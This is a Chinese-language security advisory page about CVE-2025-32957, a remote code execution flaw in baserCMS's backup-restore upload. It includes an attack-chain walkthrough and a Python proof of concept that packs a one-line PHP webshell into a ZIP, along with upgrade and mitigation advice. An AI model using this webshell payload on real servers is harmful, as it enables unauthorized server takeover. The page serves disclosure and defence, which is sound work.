IPBUF安全漏洞报告
English
CVE-2025-32957 CVSS 8.7 高危

CVE-2025-32957 baserCMS 远程代码执行漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2025-32957
漏洞类型
远程代码执行 (RCE)
CVSS评分
8.7 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
baserCMS

相关标签

RCEbaserCMS远程代码执行文件上传Web安全

漏洞概述

baserCMS是一个基于PHP的网站开发框架。在5.2.3版本之前,其应用程序的恢复功能存在严重安全缺陷。该功能允许用户上传.zip格式的备份文件,系统随后会自动解压该文件。由于代码在处理解压后的文件时,未对文件名进行有效的验证或限制,直接使用require_once包含压缩包内的PHP文件,这允许攻击者精心构造包含恶意PHP脚本的ZIP压缩包。一旦管理员上传并触发恢复流程,恶意代码将被服务器执行,从而导致任意代码执行。

技术细节

该漏洞的核心在于baserCMS的恢复功能中存在不安全的文件处理逻辑。具体来说,当系统处理用户上传的ZIP备份文件时,会将其解压到指定目录。随后,应用程序为了执行某些恢复操作,会遍历解压后的文件并利用require_once函数包含其中的PHP文件。然而,该过程严重缺乏安全检查,未验证文件后缀的合法性,也未对文件路径进行规范化处理。攻击者利用这一漏洞,首先需要获取系统的高权限账号(CVSS PR:H),然后创建一个特制的ZIP包,内部包含一个带有恶意代码(如WebShell)的PHP文件。通过恢复功能上传此ZIP包后,服务器端脚本在解压并包含该PHP文件时,会将恶意代码作为PHP逻辑执行。由于是在服务器上下文中执行,攻击者即可获得远程代码执行能力,进而完全控制服务器。

攻击链分析

STEP 1
1. 权限获取
攻击者获取baserCMS的高权限账户(管理员权限),这是利用该漏洞的前提条件(PR:H)。
STEP 2
2. 构造恶意文件
攻击者创建一个包含恶意PHP脚本(如WebShell)的文件,并将其打包成ZIP格式压缩包。
STEP 3
3. 上传压缩包
攻击者登录后台,访问恢复功能页面,并上传构造好的恶意ZIP压缩包。
STEP 4
4. 解压与包含
系统接收文件后自动解压,随后在处理流程中使用require_once函数无条件包含了压缩包内的PHP文件。
STEP 5
5. 代码执行
PHP解析器执行了恶意代码,攻击者成功在服务器端执行任意系统命令,获取服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zipfile import os # Create a malicious PHP file content (WebShell) php_code = "<?php system($_GET['cmd']); ?>" php_filename = "evil_shell.php" # Create a zip file containing the PHP script zip_filename = "basercms_poc.zip" try: with zipfile.ZipFile(zip_filename, 'w') as zf: # Write the PHP file into the zip archive zf.writestr(php_filename, php_code) print(f"[+] Successfully created malicious zip file: {zip_filename}") print(f"[+] Upload this file to the baserCMS restore function endpoint.") print(f"[+] Once processed, the malicious PHP will be included and executed.") print(f"[+] Example usage: http://target/path/to/extracted/file.php?cmd=ls") except Exception as e: print(f"[-] Error creating zip file: {e}")

影响范围

baserCMS < 5.2.3

防御指南

临时缓解措施
建议立即将baserCMS升级到最新版本5.2.3以彻底修复此漏洞。如果暂时无法升级,应严格限制管理员账户权限,并考虑临时禁用系统的恢复与备份上传功能,直到完成升级。同时,应检查服务器日志,确认是否已被攻击者利用此漏洞上传WebShell。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表